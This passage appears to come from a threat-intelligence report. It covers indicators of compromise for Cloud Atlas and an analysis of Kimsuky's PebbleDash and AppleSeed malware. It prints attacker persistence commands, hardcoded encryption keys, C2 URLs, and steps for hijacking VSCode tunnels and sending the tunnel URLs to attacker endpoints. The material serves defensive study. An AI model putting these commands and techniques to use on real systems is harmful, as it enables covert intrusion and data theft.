This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.

PowerCloud script

PowerCloud script

Browser checker

Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.

The information about running browsers is written to a log file on the local host.

Fragment of the deobfuscated script

Fragment of the deobfuscated script

Victims

According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.

We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.

We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:

  • C:\Windows\ime
  • C:\Windows\System32\ime
  • C:\Windows\pla
  • C:\Windows\inf
  • C:\Windows\migration
  • C:\Windows\System32\timecontrolsvc
  • C:\Windows\SKB

However, TTPs are still differentiated.

Conclusion

For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.

Indicators of compromise

PowerCloud

7A95360B7E0EB5B107A3D231ABBC541A  C:\Windows\wininet.exe
C0D1EAA15A2CEFBAB9735787575C8D8E C:\Windows\LiveKernelReports\update.exe
D5B38B252CF212A4A32763DE36732D40   C:\Windows\ime\imejp\dicts\i39884.exe
3C75CEDB1196DF5EAB91F31411ED4B33  C:\pla\reports.exe
42AC350BFBC5B4EB0FEDBA16C81919C7   C:\ProgramData\update_[redacted].exe
493B901D1B33EB577DB64AADD948F9CE  C:\Windows\migration\wtr\MicrosoftBrowser.exe
2CABB721681455DAE1B6A26709DEF453  C:\Windows\pla\reports\winlog.exe
1B39E86EB772A0E40060B672B7F574F1 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
1D401D6E6FC0B00AAA2C65A0AC0CFD6B C:\Windows\setup\scripts\install\software\activation\aact\dfsvc.exe
40A562B8600F843B717BC5951B2E3C29  C:\Windows\branding\scat.exe
F721A76DEB28FD0B80D27FCE6B8F5016  C:\Windows\ime\imekr\dicts\dfsvc.exe
D3C8AFD22BAA306FF659DB1FAC28574A  C:\ProgramData\update_[redacted].exe
6D7B2D1172BBDB7340972D844F6F0717 C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
C:\Users\[redacted]\AppData\Local\1c\1cv8\svc.exe
9769F43B9DE8D19E803263267FA6D62E C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
63B6BE9AE8D8024A40B200CCCB438F1D  C:\Windows\notepad.exe
6AA586BCC45CA2E92A4F0EF47E086FA1  C:\Windows\splwow32.exe
EBA3BCDB19A7E256BF8E2CC5B9C1CCA9   C:\Users\[redacted]\Desktop\soc\stant.exe
B4E183627B7399006C1BC47B3711E419  C:\WINDOWS\ime\service.exe
F56B31A4B47AD3365B18A7E922FBA1A8  dfsvc.exe
F6F62456FB0FCC396FB654CBED339BC3   –
25C8ED0511375DCA57EF136AC3FA0CCA   C:\branding\dwmw.exe

Browser checker

5329F7BFF9D0D5DB28821B86C26D628F  C:\ProgramData\checker_[redacted].exe

ReverseSocks

2B4BA4FACF8C299749771A3A4369782E  C:\Windows\PLA\System\bounce.exe
C:\Windows\pla\print_status.exe
BA9CE06641067742F2AFC9691FAFF1DC   C:\ProgramData\hp\client.exe
FB0F8027ACF1B1E47E07A63D8812ED50   C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
BBF1FA694122E07635DEEAC11AD712F8   C:\Windows\System32\HostManagement.exe
F301AA3D62B5095EEC4D8E34201A4769   C:\Windows\ime\imejp\msfu.exe
F9C3BBE108566D1A6B070F9C5FB03160   C:\Windows\ime\imetc\help\IMTCEN14.exe

Malicious MS Office documents

369B75BDCDED16469EDE7AB8BEDCFAE1
9EAAE9491F6A50D6DF0BE393734A44CB
3E6E9DF00A764B348EC611EE8504ACA0
9BD788F285E32A05E6591D1EB36EBFFC
F42085522EC2EBB16EDCF814E7C330AD
2042EB5D52F0B535A1CE6B6F954C8C2B
2AA1E9765EF6B00B94A9B6BE0041436A
36120F5E9411BCBAC7104EF3FA964ED2
5000A353399500BC78381DC95B6ED2DC
579A9952D31CAD801A3988DBE7914CE7
867B634588C0FD6B26684D502C15AB03
38FA4306FA4406BA31CF171AF4D36E34
83EDDE9F7EEEFAC0363413972F35572B
CC751619BFEC0DC4607C17112B9E3B2C
A632858F14B36F03D0F213F5F5D6BFF2
097CA205AD9E3B72018750280904718C
69121C36EB8BF77962DCA825FCFFD873
C5702EB250F855C8C872FFFB9BB656ED
ED34F5A136FBA4FDEA976570FAA33ED7
0577DB70844E88B32B954906E2F20798
28ECF8FB6719E14231B94B4D37629B0E
0857C84B62289A1A9F29E19244E9A499
0C514E137860F489E3801213460EF938
50568B1F9335A7E3BA4E5DF035A8FB86
7F776AD200287D6DE14A29158C457179
51F7F794ED43FB90D0F8EBBB5EFFE628
B8C753DD254509FBA5077FFD5067EAB0
BC3739DEC8CD8F54F3F60A85F3ED600E
EC076CD21C483A40156F4E40D08DADED
216CB7F31D383C0DD892B284DF05A495
116F59E70A9DF97F4ADAEA71EECB1E9A
7242AC065B50BCDE9308756B49DBADCB
8158552950D2E13B075001CE0C52AA97
A75DBED984963B9AB21309C5B2F8FD9B
0320DD389FDBAB25D46792BD2817675E
5339D1A666F3E40FE756505CF1D87D4B
67D7E3AEEB673BF60C59361C12A4ED81
89572F0ED20791A5AC9FC4267D67CCB0
B6AAE073E7BFEBF4D643C2BBEB5C02E1
344CA9EA07CD4AC90EF27F8890D4EC05

Domains and IPs

Reverse SSH/Socks domains

tenkoff[.]org
cloudguide[.]in
goverru[.]com
kufar[.]org
ultimatecore[.]net
spbnews[.]net
onedrivesupport[.]net

Malicious and compromised domains used in MS Office documents

amerikastaj[.]com
bigbang[.]me
paleturquoise-dragonfly-364512.hostingersite[.]com
wizzifi[.]com
totallegacy[.]org
mamurjor[.]com
landscapeuganda[.]com
lafortunaitalian.co[.]uk
kommando[.]live
internationalcommoditiesllc[.]com
humanitas[.]si
fishingflytackle[.]com
firsai.tipshub[.]net
alnakhlah.com[.]sa
allgoodsdirect.com[.]au
agenciakharis.com[.]br

Powershell payload staging

istochnik[.]org
znews[.]neti
investika-club[.]com
194.102.104[.]207
46.17.45[.]56
46.17.45[.]49
46.17.44[.]125
46.17.44[.]212
185.22.154[.]73
194.87.196[.]163
195.58.49[.]9
93.125.114[.]193
93.125.114[.]57
45.87.219[.]116
37.228.129[.]224
185.53.179[.]136
185.126.239[.]77
5.181.21[.]75
146.70.53[.]171
45.15.65[.]134
185.250.181[.]207
81.30.105[.]71

File paths

VBS scripts

WriteToSchedulerKillSSH.vbs
Create_task_day.vbs
WriteToSchedulerGenerateKey.vbs
C:\Windows\INF\Run.vbs
c:\Windows\INF\install.vbs
Update.vbs
c:\Windows\PLA\System\Gen.vbs
C:\Windows\INF\GenK.vbs
c:\Windows\PLA\System\Kill.vbs
c:\Windows\PLA\System\Run.vbs

ssh.exe

c:\Windows\ime\imejp\Asset.exe
c:\Windows\PLA\System\conhosts.exe
c:\Windows\INF\BITS\esentprf.exe
c:\Windows\INF\MSDTC\RuntimeBrokers.exe
c:\Windows\inf\diagnostic.exe

ReverseSocks

C:\Windows\PLA\System\bounce.exe
C:\ProgramData\hp\client.exe
C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe

Tor client

C:\Windows\Resources\Update\Intel.exe
C:\Windows\INF\package.exe

  •  

Kimsuky targets organizations with PebbleDash-based tools

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

  • Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
  • Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
  • The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
  • For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
  • For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
  • Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number Filename Filename (translated to English) Detection date MD5 Malware deployed
1 [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse August 28, 2025 995a0a49ae4b244928b3f67e2bfd7a6e HelloDoor
2 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse December 14, 2025 52f1ff082e981cbdfd1f045c6021c63f httpMalice
3 security_20260126.scr January 26, 2026 65fc9f06de5603e2c1af9b4f288bb22c Reger Dropper, MemLoad, httpTroy
4 노현정님.pdf.jse Ms. Noh Hyun-jung.pdf.jse January 28, 2026 8e15c4d4f71bdd9dbc48cd2cabc87806 AppleSeed chain
5 대국민서비스관리운영체계현장점검증적(초안).pif On-site Inspection Evidence for the Public Service Management System (Draft).pif February 5, 2026 8983ffa6da23e0b99ccc58c17b9788c7 Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command Description
“mcd” Set the current directory
“msleep” Sleep for the provided time
“install” Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command] Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

  • result send fail (grammatically incorrect text)
  • server request fail (grammatically incorrect text)
  • command execute failed (grammatically incorrect text)
  • decrytion failed (typos)
  • autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

  • (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
  • (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
  • (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
  • (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
  • (AppleSeed cluster) Use of the m= parameter in C2 communication.
  • (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status Description
0 Running under the SYSTEM account with an elevated token
1 Running under an elevated administrator account
2 Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value Description
1 Send the session identifier (parameter s) along with the current state (parameter a)
2 Request command
3 Send result after executing the command (parameter d)
8 Request directory to be archived and sent
9 Send the archived directory
10 Send a message like “.cmd” or “.tmp” (parameter d)
11 Send ping
12 Send the captured screenshot (parameter d)
13 Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value Description
0 httpMalice has been activated
1 httpMalice has been inactivated (upon command 9)
2 httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command Description
0 Do nothing
1 Execute the command with EUC-KR encoding
2 Download and extract the file to the infected device
3 Upload a directory to the C2 server after it has been archived
5 Get the current directory
6 Set the current directory
7 Execute the command without setting a EUC-KR character set
8 Remove its persistence traces and exit the process
9 Hibernate
10 Execute the command using the provided session ID
12 Capture the screen
13 Load the downloaded payload into memory

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

  1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
  2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
  3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
  4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
  5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number Installer type VSCode version Download source
1 Written in JScript VSCode CLI 1.106.3 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip
2 Written in Go VSCode CLI 1.106.2 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

  1. Executes code.exe tunnel.
  2. Searches for the “Microsoft Account” string in the stdout.
  3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
  4. Searches for the “use code” string in the stdout.
  5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
  6. Searches for the “What would you like to call this machine?” string in the stdout.
  7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
  8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
  9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

  • c:\programdata\dwagent\native\dwagsvc.exe installService
  • c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
